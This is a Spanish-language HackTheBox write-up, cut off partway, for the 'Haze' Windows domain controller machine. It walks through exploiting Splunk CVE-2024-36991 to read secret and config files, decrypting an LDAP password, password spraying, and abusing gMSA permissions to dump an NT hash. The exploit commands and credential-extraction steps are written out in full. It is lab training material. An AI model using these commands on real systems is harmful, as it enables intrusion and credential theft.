Haze – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Hard / Difícil
  • Platform / Plataforma: HackTheBox

Avatar haze


Resumen Link to heading

“Haze” es una máquina de dificultad Difícil de la plataforma HackTheBox. Identificamos que la máquina víctima es un Domain Controller de un entorno Active Directory, donde además se encuentra corriendo un servidor web. Este servidor web se encuentre corriendo una versión de Splunk vulnerable a CVE-2024-36991, lo cual nos permite leer archivos del sistema. Esto nos permite leer archivos de configuración de Splunk, obtener un hash, desencriptarlo y ganar acceso a un primer usuario. Performamos un “password spray” y vemos que un segundo usuario reutiliza la contraseña hallada para el primer usuario; pivoteando así a un segundo usuario. Este segundo usuario es parte de un grupo que puede modificar cuentas gMSA. Esto nos permite darnos a nosotros mismos permisos para leer los hashes NT de cuentas gMSA y tomar control de una de éstas. Esta cuenta de servicio puede realizar un ataque Shadow Credentials para un tercer usuario, lo cual nos permite extraer el hash NT de un tercer usuario que puede acceder por WinRM en la máquina víctima. Una vez dentro, encontramos un respaldo del servicio de Splunk, del cual somos capaces de extraer credenciales para el servicio corriendo en el servidor web, acceder a éste, subir una aplicación maliciosa y ganar acceso a un cuarto usuario. Este cuarto usuario tiene el privilegio SeImpersonatePrivilege, lo que nos permite elevar nuestros privilegios y tomar así control total del sistema.


User / Usuario Link to heading

Empezamos corriendo un escaneo con Nmap contra la máquina víctima. encontramos así múltiples puertos TCP abiertos; entre ellos tenemos: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 5985 WinRM, 8000 HTTP, entre otros.

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,8000,8088,8089,9389,47001,49664,49665,49666,49667,49668,49672,49679,49680,54337,54342,54344,54357,54398 10.129.229.51

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-30 20:26 -03
Nmap scan report for 10.129.229.51
Host is up (0.37s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-31 07:26:13Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp  open  http          Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.229.51:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
8088/tcp  open  ssl/http      Splunkd httpd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
8089/tcp  open  ssl/http      Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-title: splunkd
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49680/tcp open  msrpc         Microsoft Windows RPC
54337/tcp open  msrpc         Microsoft Windows RPC
54342/tcp open  msrpc         Microsoft Windows RPC
54344/tcp open  msrpc         Microsoft Windows RPC
54357/tcp open  msrpc         Microsoft Windows RPC
54398/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 8h00m00s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-03-31T07:27:17
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.73 seconds

Dado los puertos abiertos (como Kerberos, SMB, RPC y LDAP), podemos decir que estamos ante un entorno Active Directory (AD). Adicionalmente, el puerto 8000 se encuentra corriendo Splunk.

Información
Splunk is a big data platform that simplifies the task of collecting and managing massive volumes of machine-generated data and searching for information within it. The technology is used for business and web analytics, application management, compliance, and security.
En corto, es una herramienta que permite recopilar y analizar grandes cantidades de datos.

Usando WhatWeb contra el sitio web confirma este hallazgo:

❯ whatweb -a 3 http://10.129.229.51:8000/

http://10.129.229.51:8000/ [303 See Other] Country[RESERVED][ZZ], HTML5, HTTPServer[Splunkd], IP[10.129.229.51], Meta-Refresh-Redirect[http://10.129.229.51:8000/en-US/], RedirectLocation[http://10.129.229.51:8000/en-US/], Title[303 See Other], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN]
http://10.129.229.51:8000/en-US/ [303 See Other] Cookies[session_id_8000], Country[RESERVED][ZZ], HTTPServer[Splunkd], HttpOnly[session_id_8000], IP[10.129.229.51], RedirectLocation[http://10.129.229.51:8000/en-US/account/login?return_to=%2Fen-US%2F], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN]
http://10.129.229.51:8000/en-US/account/login?return_to=%2Fen-US%2F [200 OK] Bootstrap, Cookies[cval,splunkweb_uid], Country[RESERVED][ZZ], HTML5, HTTPServer[Splunkd], IP[10.129.229.51], Meta-Author[Splunk Inc.], Script[text/json], probably Splunk, UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge]

Además, podemos usar NetExec contra el servicio SMB de la máquina víctima para obtener tanto el nombre de la máquina como el nombre del dominio AD:

❯ nxc smb 10.129.229.51

SMB         10.129.229.51   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)

Tenemos un nombre de máquina DC01 y un dominio haze.htb.

Agregamos el nombre de la máquina, el dominio y FQDN (que no es más que <nombre máquina>.<dominio>), junto con la IP de la máquina víctima, a nuestro archivo /etc/hosts:

❯ echo '10.129.229.51 DC01 DC01.HAZE.HTB HAZE.HTB' | sudo tee -a /etc/hosts

Visitamos así http://haze.htb:8000, el cual muestra un panel de login para Splunk:

Haze 1

Del escaneo con Nmap notamos que Splunk también se encuentra corriendo en los puertos 8088 y 8089 usando HTTPs. Visitando el puerto 8088 no da ningún resultado. Por otro lado, el puerto 8089 (visitando https://haze.htb:8089) muestra información acerca del servicio Splunk:

Haze 2

Podemos ver una versión para Splunk: 9.2.1.

Buscando por splunk 9.2.1 exploit nos lleva a esta página. Allí se menciona una vulnerabilidad catalogada como CVE-2024-36991 la cual nos permite leer archivos del sistema a través de un Path Traversal. Adicionalmente, ésta dice que sólo las versiones de Splunk para Windows deberían ser afectadas por esta vulnerabilidad; lo cual se da en este caso. Buscando por “Proof of Concepts” (“PoCs”, o “Pruebas de Concepto” en español) para esta vulnerabilidad encontramos este repositorio de Github. Lo clonamos y lo ejecutamos contra la máquina víctima:

❯ git clone https://github.com/bigb0x/CVE-2024-36991.git -q

❯ cd CVE-2024-36991

❯ python3 CVE-2024-36991.py -u http://haze.htb:8000

  ______     _______     ____   ___ ____  _  _        _____  __   ___   ___  _
 / ___\ \   / | ____|   |___ \ / _ |___ \| || |      |___ / / /_ / _ \ / _ \/ |
| |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___  \ V / | |__|_____/ __/| |_| / __/|__   _|________) | (_) \__, |\__, | |
 \____|  \_/  |_____|   |_____|\___|_____|  |_|      |____/ \___/  /_/   /_/|_|

-> POC CVE-2024-36991. This exploit will attempt to read Splunk /etc/passwd file.
-> By x.com/MohamedNab1l
-> Use Wisely.

[INFO] Log directory created: logs
[INFO] Testing single target: http://haze.htb:8000
[VLUN] Vulnerable: http://haze.htb:8000
:admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152

Funcionó. Obtenemos 4 hashes.

Tratamos de crackear estos hashes a través de un Brute Force Password Cracking con John The Ripper (john) y Hashcat usando el diccionario rockyou.txt; pero no somos capaces de crackear ninguno de estos hashes.

No obstante, si leemos el output del script, éste está tratando de leer el archivo /etc/passwd desde el directorio donde está instalado Splunk. Dado que el Path Traversal funciona, podríamos tratar de modificar levemente este script para leer archivos del sistema de Windows, o para leer archivos de configuración del directorio donde está instalado Splunk. El script que hice, basado en el repositorio anterior, para leer archivos de configuración de Splunk puede ser encontrado en mi repositorio de Github. Tratemos de leer archivos de configuración de Splunk. Podemos obtener una lista de archivos de configuración en la documentación de Splunk. De la misma manera, somos capaces de encontrar más documentación de Splunk o de este foro los cuales dan explicaciones de cómo Splunk trata de leer contraseñas. En corto, se menciona que debería existir un directorio/carpeta $SPLUNK_HOME/etc/auth, donde $SPLUNK_HOME es el “directorio base/raíz” donde está instalado Splunk. Además, Splunk encripta las claves en base a una llave guardada en un archivo llamado splunk.secret. Ejecutamos nuestro script tratando de leer aquel archivo que pueda contener este “secreto”/llave para desencriptar:

❯ python3 CVE-2024-36991.py -u http://haze.htb:8000 -f '/etc/auth/splunk.secret'

======================================================================
    CVE-2024-36991

[*] Target URL:   http://haze.htb:8000
[*] File to read: /etc/auth/splunk.secret
[*] Language:     en_us
======================================================================

[*] Target seems to be vulnerable!
[*] Content extracted:

NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD

El script funcionó. Obtuvimos un secreto para Splunk el cual nos podría ser (y nos será) de utilidad luego.

También diseñé el script para leer archivos del sistema usando la flag --system-files:

❯ python3 CVE-2024-36991.py -u http://haze.htb:8000 -f '/Windows/System32/drivers/etc/hosts' --system-files

======================================================================
    CVE-2024-36991

[*] Target URL:   http://haze.htb:8000
[*] File to read: /Windows/System32/drivers/etc/hosts (System file)
[*] Language:     en_us
======================================================================

[*] Target seems to be vulnerable!
[*] Content extracted:

# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost

Funciona.

Luego de tratar de leer algunos archivos, volvemos a la documentación de Splunk. Para el archivo authentication.conf, que es el archivo de configuración de Splunk, la documentación menciona una ruta $SPLUNK_HOME/etc/system/local. Tratando de leer este archivo obtenemos:

❯ python3 CVE-2024-36991.py -u http://haze.htb:8000 -f '/etc/system/local/authentication.conf'

======================================================================
    CVE-2024-36991

[*] Target URL:   http://haze.htb:8000
[*] File to read: /etc/system/local/authentication.conf
[*] Language:     en_us
======================================================================

[*] Target seems to be vulnerable!
[*] Content extracted:

[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0

[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP

Obtenemos un hash:

$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=

y un distinguishedName para Active Directory (más específicamente para LDAP):

CN=Paul Taylor,CN=Users,DC=haze,DC=htb

Encontramos un nombre: Paul Taylor.

Podemos usar Kerbrute para probar distintas combinaciones basados en el nombre de este usuario y ver así si alguna de éstas existe en el dominio. Creamos una lista con potenciales combinaciones de usuario para el nombre hallado:

❯ cat paul_taylor_options.txt

paul taylor
paul.taylor
p.taylor

y usamos Kerbrute para revisar si alguno de estos existe en el dominio:

❯ kerbrute userenum -d haze.htb --dc 10.129.229.51 paul_taylor_options.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 03/31/25 - Ronnie Flathers @ropnop

2025/03/31 02:01:47 >  Using KDC(s):
2025/03/31 02:01:47 >   10.129.229.51:88

2025/03/31 02:01:48 >  [+] VALID USERNAME:       paul.taylor@haze.htb

El usuario paul.taylor existe en el dominio.

Ahora bien, necesitamos de alguna manera crackear el hash hallado en el archivo authentication.conf. Adelanto de ya que no es crackeable con herramientas como john o Hashcat, por lo que no pierdan su tiempo. Buscando cómo sería posible “crackear” este hash, encontramos una herramienta especialmente diseñada para Splunk llamada splunksecrets. Para instalarla, y no romper nada en mi sistema, la instalaré usando pipx (aquí pueden revisar cómo instalar pipx por si acaso). Para instalar splunksecrets con pipx ejecutamos:

❯ pipx install 'git+https://github.com/HurricaneLabs/splunksecrets.git'

Ya instalado, ejecutamos el comando splunksecrets:

❯ splunksecrets --help

Usage: splunksecrets [OPTIONS] COMMAND [ARGS]...

Options:
  --help  Show this message and exit.

Commands:
  dbconnect-decrypt      Decrypt password used for dbconnect identity
  dbconnect-encrypt      Encrypt password used for dbconnect identity
  phantom-decrypt        Decrypt password used for Phantom asset
  phantom-encrypt        Encrypt password used for Phantom asset
  splunk-decrypt         Decrypt password using Splunk 7.2 algorithm
  splunk-encrypt         Encrypt password using Splunk 7.2 algorithm
  splunk-hash-passwd     Generate password hash for use in...
  splunk-legacy-decrypt  Decrypt password using legacy Splunk algorithm...
  splunk-legacy-encrypt  Encrypt password using legacy Splunk algorithm...

Tenemos bastantes opciones.

Luego de probar alguna de ellas, la función splunk-legacy-decrypt sirve. Para ésta necesitamos 2 items: 1) Un Splunk secret; 2) Un ciphertext (contraseña encriptada). Previamente, cuando estábamos testeando nuestro script para leer archivos de Splunk, extrajimos el contenido del archivo /etc/auth/splunk.secret, el cual es el secreto que necesitamos. Guardamos aquel secreto en un archivo en nuestra máquina de atacantes:

❯ echo 'NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD' > splunk.secret

Usamos así la flag -S para pasar el archivo que contenga el secreto y la flag --ciphertext para pasar la contraseña encriptada:

❯ splunksecrets splunk-legacy-decrypt -S splunk.secret --ciphertext '$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY='

Ld@p_Auth_Sp1unk@2k24

Obtenemos una contraseña: Ld@p_Auth_Sp1unk@2k24.

Revisamos si esta contraseña sirve para el usuario paul.taylor (el cual ya hemos verificado que existe en el dominio con Kerbrute) usando la herramienta NetExec:

❯ nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'

SMB         10.129.229.51   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.129.229.51   445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24

Funciona. Tenemos credenciales válidas para el dominio AD.

Una cosa muy curiosa de esta máquina es que si tratamos de enumerar usuarios usando el servicio Microsoft RPC con la herramienta rpcclient sólo obtenemos neustro propio usuario:

❯ rpcclient -U 'paul.taylor%Ld@p_Auth_Sp1unk@2k24' 10.129.229.51 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}'

paul.taylor

Pero si usamos NetExec y la opción --rid-brute con el módulo SMB (y luego de filtrar por resultados interesantes para nosotros), para enumerar usuarios por fuerza bruta a través de RID, obtenemos bastantes más usuarios:

❯ nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}'

Administrator
Guest
krbtgt
DC01$
paul.taylor
mark.adams
edward.martin
alexander.green
Haze-IT-Backup$

Guardamos todos estos usuarios hallados del dominio en un archivo:

❯ nxc smb haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute | grep 'SidTypeUser' | awk '{print $6}' | awk -F '\' '{print $2}' > domain_users.txt

Revisamos si la contraseña de paul.taylor es usada por algún otro usuario en el dominio con un Password Spray a través de NetExec:

❯ nxc smb haze.htb -u domain_users.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success

SMB         10.129.229.51   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
SMB         10.129.229.51   445    DC01             [-] haze.htb\Administrator:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.229.51   445    DC01             [-] haze.htb\Guest:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.229.51   445    DC01             [-] haze.htb\krbtgt:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.229.51   445    DC01             [-] haze.htb\DC01$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.229.51   445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
SMB         10.129.229.51   445    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
SMB         10.129.229.51   445    DC01             [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.229.51   445    DC01             [-] haze.htb\alexander.green:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE
SMB         10.129.229.51   445    DC01             [-] haze.htb\Haze-IT-Backup$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE

Además de paul.taylor, encontramos un usuario utilizando la misma contraseña llamado mark.adams.

Revisamos si el usuario mark.adams puede acceder a la máquina víctima a través del servicio WinRM con NetExec:

❯ nxc winrm haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'

WINRM       10.129.229.51   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
WINRM       10.129.229.51   5985   DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 (Pwn3d!)

Tiene acceso.

Por ende, usamos evil-winrm para loguear como el usuario mark.adams:

❯ evil-winrm -i haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mark.adams\Documents>

Otro dato curioso es que este usuario es capaz de enumerar más usuarios en el dominio a través del servicio Microsoft RPC junto con rpcclient:

❯ rpcclient -U 'mark.adams%Ld@p_Auth_Sp1unk@2k24' 10.129.229.51 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}'

Administrator
Guest
krbtgt
paul.taylor
mark.adams
alexander.green

¿Por qué recalco esto? “Fuera de cámaras” utilicé bloodhound-python para analizar el dominio con Bloodhound, pero los resultados estaban medio bugeados: teníamos menos usuarios de lo usual y los grupos sólo estaban enumerados por su SID (más tarde descubrí que no era un bug, sino que era intencionado). Lo que intento decir es que si intentamos enumerar el dominio utilizando Bloodhound sólo usando las credenciales de paul.taylor el mapeo del dominio estará incompleto, lo cual hace sentido si es que las defensas del dominio están correctamente configuradas para que no todos los usuarios puedan leer permisos (ACLs) y SIDs del dominio.

Tratemos ahora de usar SharpHound (el cual puede ser descargado desde su repositorio de Github) para enumerar apropiadamente el dominio como mark.adams. Pasamos el ejecutable .exe de SharpHound a la máquina víctima usando la función upload de evil-winrm:

*Evil-WinRM* PS C:\Users\mark.adams\Documents> upload SharpHound.exe

Una vez subido, lo ejecutamos:

*Evil-WinRM* PS C:\Users\mark.adams\Documents> .\SharpHound.exe -c All

2025-03-31T07:57:09.4419327-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-03-31T07:57:09.6606136-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
<SNIP>

Esto debería de generar un archivo .zip en el directorio de trabajo actual:

*Evil-WinRM* PS C:\Users\mark.adams\Documents> dir


    Directory: C:\Users\mark.adams\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         3/31/2025   7:57 AM          34879 20250331075712_BloodHound.zip
-a----         3/31/2025   7:57 AM           1595 NzBkNGM2ZWYtODFhYy00M2M0LTgzNzMtNmViNTQ1NzJhN2Nk.bin
-a----         3/31/2025   7:55 AM        1556992 SharpHound.exe

Descargamos el archivo desde la máquina víctima a nuestra máquina de atacantes usando la función download de evil-winrm:

*Evil-WinRM* PS C:\Users\mark.adams\Documents> download 20250331075712_BloodHound.zip

Info: Downloading C:\Users\mark.adams\Documents\20250331075712_BloodHound.zip to 20250331075712_BloodHound.zip

Info: Download successful!

Una vez descargado, subimos el archivo .zip generado a Bloodhound. En mi caso uso la Community Edition (o CE). Buscando por el usuario mark.adams no muestra privilegios directos sobre otros usuarios. Sin embargo, este usuario es parte de un interesante grupo llamado gMSA_Managers:

Haze 3

Esto podría significar que tenemos permisos sobre cuentas gMSA.

Información
Las cuentas de servicio administradas por grupos (gMSA) son un tipo de cuenta de servicio en Windows Server que permite ejecutar servicios en varios servidores sin tener que administrar manualmente las contraseñas.
En resumen, las cuentas gMSA son cuentas de servicio que administran sus contraseñas de manera automática.

Usualmente, si tuviésemos los permisos ReadGMSAPassword sobre una cuenta gMSA deberíamos de ser capaces de leer su hash NT. Para ver estos hashes podemos usar, por ejemplo, NetExec como sigue:

❯ nxc ldap haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa

SMB         10.129.234.37   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAPS       10.129.234.37   636    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS       10.129.234.37   636    DC01             [*] Getting GMSA Passwords
LDAPS       10.129.234.37   636    DC01             Account: Haze-IT-Backup$      NTLM:

Encontramos una cuenta gMSA llamada Haze-IT-Backup$, pero no podemos ver su hash NTLM. Esto es porque (todavía) no tenemos permisos ReadGMSAPassword sobre esta cuenta.

Buscando cómo agregarnos los permisos ReadGMSAPassword sobre una cuenta encontramos este blog explicando cómo hacerlo. Allí, ellos proveen el comando:

Set-ADServiceAccount `
	-Identity 'SQL_HQ_Primary' `
	-PrincipalsAllowedToRetrieveManagedPassword 'Administrator'

Si somos capaces de habilitar este priivilegio (dado que somos parte del grupo gMSA_Managers, lo cual indica que deberíamos de ser capaces de administrar cuentas gMSA), ejecutemos el comando previo en nuestra sesión de evil-winrm, pero modificándolo:

*Evil-WinRM* PS C:\Users\mark.adams\Documents> Set-ADServiceAccount -Identity 'Haze-IT-Backup' -PrincipalsAllowedToRetrieveManagedPassword 'mark.adams'

No obtuvimos output alguno, por lo que quizás mark.adams ahora tiene el privilegio ReadGMSAPassword sobre la cuenta Haze-It-Backup$.

Ejecutamos de nuevo el comando en NetExec para abusar del permiso ReadGMSAPassword:

❯ nxc ldap haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa

SMB         10.129.234.37   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:False)
LDAPS       10.129.234.37   636    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
LDAPS       10.129.234.37   636    DC01             [*] Getting GMSA Passwords
LDAPS       10.129.234.37   636    DC01             Account: Haze-IT-Backup$      NTLM: 735c02c6b2dc54c3c8c6891f55279ebc

Esta vez funcionó. Obtenemos un hash NT para la cuenta Haze-IT-Backup$.


Nota
Sólo de curioso, ejecuté bloodhound-python de nuevo como el usuario HAZE-IT-BACKUP$ y, nuevamente, hallamos usuarios, grupos y permisos que no habíamos visto antes. Este es un detalle bastante interesante de esta máquina.

Ejecutamos bloodhound-python (junto con faketime y ntpdate para evadir errores de tiempo con Kerberos) en una terminal:

❯ faketime "$(ntpdate -q haze.htb | cut -d ' ' -f 1,2)" bloodhound-python -c ALL -u 'Haze-IT-Backup$' --hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -d haze.htb -ns 10.129.234.37 --zip

<SNIP>

Y subimos el nuevo archivo .zip generado a Bloodhound.


De vuelta a Bloodhound podemos revisar qué es lo que puede hacer la cuenta Haze-IT-Backup$. Podemos ver que esta cuenta tiene permisos WriteOwner sobre un grupo llamado Support_Services:

Haze 4

y, a su misma vez, el grupo (y, por ende, sus miembros) Support_Services tienen los permisos ForceChangePassword y AddKeyCredentialLink sobre el usuario edward.martin:

